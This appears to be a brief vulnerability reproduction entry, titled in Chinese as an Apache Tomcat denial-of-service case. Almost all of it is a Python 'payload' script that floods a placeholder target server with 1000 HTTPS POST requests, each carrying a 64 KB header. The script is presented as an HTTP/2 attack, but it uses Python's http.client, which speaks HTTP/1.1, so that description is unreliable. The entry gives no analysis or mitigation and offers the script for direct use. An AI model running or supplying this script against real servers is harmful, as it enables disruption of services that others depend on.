A40-1Apache-Tomcat-拒绝服务
漏洞复现:
payload:
import http.client
# Configuration
host = "target-server" # Change this to the target server address
port = 443 # Change this to the target server port (usually 443 for HTTPS)
num_requests = 1000 # Number of requests to send
def send_dos_requests():
try:
# Create an HTTP/2 connection
conn = http.client.HTTPSConnection(host, port, timeout=10)
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": "A" * 65536 # Large header value to exceed limits
}
for i in range(num_requests):
conn.request("POST", "/", headers=headers)
response = conn.getresponse()
print(f"Request {i + 1}: Status Code: {response.status}")
conn.close()
except Exception as e:
print(f"[-] An error occurred: {e}")
if __name__ == "__main__":
print(f"Sending {num_requests} HTTP/2 requests to {host}:{port}")
send_dos_requests()